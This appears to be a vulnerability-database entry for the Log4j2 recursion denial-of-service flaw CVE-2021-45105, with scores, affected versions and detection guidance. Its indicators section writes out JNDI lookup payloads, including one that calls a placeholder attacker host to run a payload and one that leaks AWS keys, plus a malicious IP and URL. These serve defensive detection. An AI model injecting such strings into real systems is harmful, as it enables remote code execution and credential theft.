cbcvebase.
CVE-2021-45105
published 2021-12-18

CVE-2021-45105: Apache Log4j2 versions 2.0-alpha1 through 2.16.0 (excluding 2.12.3 and 2.3.1) did not protect from uncontrolled recursion from self-referential lookups. This…

PriorityP185medium5.9CVSS 3.1
AVNACHPRNUINSUCNINAH
ITWEXPLOITVulnCheck KEVRansomwareInitial access
Exploited in the wild
EPSS
100.00%
100.0th percentile
Apache Log4j2 versions 2.0-alpha1 through 2.16.0 (excluding 2.12.3 and 2.3.1) did not protect from uncontrolled recursion from self-referential lookups. This allows an attacker with control over Thread Context Map data to cause a denial of service when a crafted string is interpreted. This issue was fixed in Log4j 2.17.0, 2.12.3, and 2.3.1.

Affected

232 ranges· showing 25
VendorProductVersion rangeFixed in
apachelog4j>= 2.0 < 2.3.12.3.1
apachelog4j2.13.0 – 2.16.0
apachelog4j>= 2.4 < 2.12.32.12.3
apachelogging
apacheofbiz
apache_software_foundationapache_log4j2>= log4j-core < 2.17.02.17.0
debianapache-log4j2< apache-log4j2 2.17.0-1 (bookworm)apache-log4j2 2.17.0-1 (bookworm)
debiandebian_linux
debiandebian_linux
oracleagile_engineering_data_management
oracleagile_plm
oracleagile_plm_mcad_connector
oracleautovue_for_agile_product_lifecycle_management
oraclebanking_deposits_and_lines_of_credit_servicing
oraclebanking_enterprise_default_management
oraclebanking_enterprise_default_management
oraclebanking_loans_servicing
oraclebanking_party_management
oraclebanking_payments
oraclebanking_platform
oraclebanking_platform
oraclebanking_platform
oraclebanking_trade_finance
oraclebanking_treasury_management
oraclebusiness_intelligence

Detection & IOCsextracted from sources · hover to see the quote

command${jndi:ldap://attacker_controled_website/payload_to_be_executed}
command${jndi:ldap://${env:AWS_ACCESS_KEY_ID}.${env:AWS_SECRET_ACCESS_KEY}.}
command${jndi:ldap://MALICIOUSHOST.COM:PORT/Basic/Command/Base64/LoNGeNcoDeDcOmMaNd
otherJava.Malware.CVE_2021_44228-9915816-1
otherPUA.Java.Tool.CVE_2021_44228-9916978-0
ip45.136.230.191
urlhttp://45.136.230.191:4000/D234R23
hashffd933ad53f22a0f10cceb4986087258f72dffdd36999b7014c6b37c157ee45f
hashcee38fd125aa3707DC77351dde129dba5e5aa978b9429ef3e09a95ebf127b46b
hash7f0deab21a3773295319e7a0afca1bea792943de0041e22523eb0d61a1c155e2
hashcac73029ad6a543b423822923967f4c240d02516fab34185c59067896ac6eb99
hash29a3ae1d32e249d01b39520cd1db27aa980e646d83694ff078424bed60df9304
hash63bdd396ff6397b3a17913badb7905c88e217d0a8cf864ab5e71cc174a4f97a1
hash63ebb998ebbbfe3863214a85c388fc23b58af4492b2e96eb53c436360344d79d
hash912018ab3c6b16b39ee84f17745ff0c80a33cee241013ec35d0281e40c0658d9
hashf2faa8a91840de16efb8194182bcfa9919b74a2c2de40d6ed4791a3308897a01
hash48514e6bb92dd9e24a16a4ab1c7c3bd89dad76bef53cec2a671821024fadcb2b
hash61239d726c92c82f553200ecbec3ac18d251902fb9ca4d4f52263c82374a5b75
hashe4af7f048e93b159e20cc3efbacdb68e3c1fb213324daf325268ccb71f6c3189
hashe68f9c3314beee640cc32f08a8532aa8dcda613543c54a83680c21
filenamevmware_kb.exe
pathC:\Windows\System32\temp\RuntimeBrokerService.exe
filenamewatcher.exe
filenameIIS Temporary Compressed Files.zip
processwmiprvse.exe
snort
Snort SIDs: 58722-58744, 58751, 58784-58790, 58795, 58801, 58811-58814
  • CVE-2021-45105 is triggered when a non-default Pattern Layout uses a Context Lookup (e.g., $${ctx:loginId}) and attacker-controlled Thread Context Map (MDC) data contains a recursive lookup string, causing a StackOverflowError. Detect by monitoring for StackOverflowError terminations in Java processes running Log4j 2.0-alpha1 through 2.16.0.
  • JNDIExploit-generated URLs embed Base64-encoded commands in the URL path. Look for log entries or HTTP requests matching the pattern: ${jndi:ldap://HOST:PORT/Basic/Command/Base64/<base64data>}
  • Also watch for jndi:dns:// schema in addition to jndi:ldap:// in log data and HTTP headers, as recent payloads have used DNS-based JNDI lookups.
  • Inspect HTTP User-Agent headers and POST body fields for JNDI lookup strings (${jndi:...}) as the attack vector is commonly injected via these HTTP fields.
  • In the AvosLocker campaign exploiting Log4Shell on VMware Horizon UAGs, initial post-exploitation activity involved wmiprvse.exe spawning encoded PowerShell with DownloadString. Alert on wmiprvse.exe launching PowerShell with -enc or DownloadString parameters.
  • Use Qualys QID 376194 to detect vulnerable log4j jar versions at or below 2.16.0 in running containers and container images for CVE-2021-45105.
  • ·CVE-2021-45105 only triggers when a non-default Pattern Layout with a Context Lookup is configured. Default Log4j configurations are NOT vulnerable to this specific DoS.
  • ·The mitigations of setting log4j2.formatMsgNoLookups=true or using %m{nolookups} are insufficient for the broader Log4Shell family; they do not protect against CVE-2021-45105.
  • ·Log4j may be bundled inside vendor software; organizations cannot self-patch in those cases and must wait for vendor updates.

CVSS provenance

nvdv3.15.9MEDIUMCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
nvdv2.04.3MEDIUMAV:N/AC:M/Au:N/C:N/I:N/A:P
ghsa10.0CRITICAL
osv10.0CRITICAL
vulncheck5.9MEDIUM
vendor_cisco10.0CRITICAL
vendor_ubuntu6.6MEDIUM
vendor_apache5.9MEDIUM
vendor_debian5.9MEDIUM
vendor_oracle5.9MEDIUM
vendor_redhat5.9MEDIUM
CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.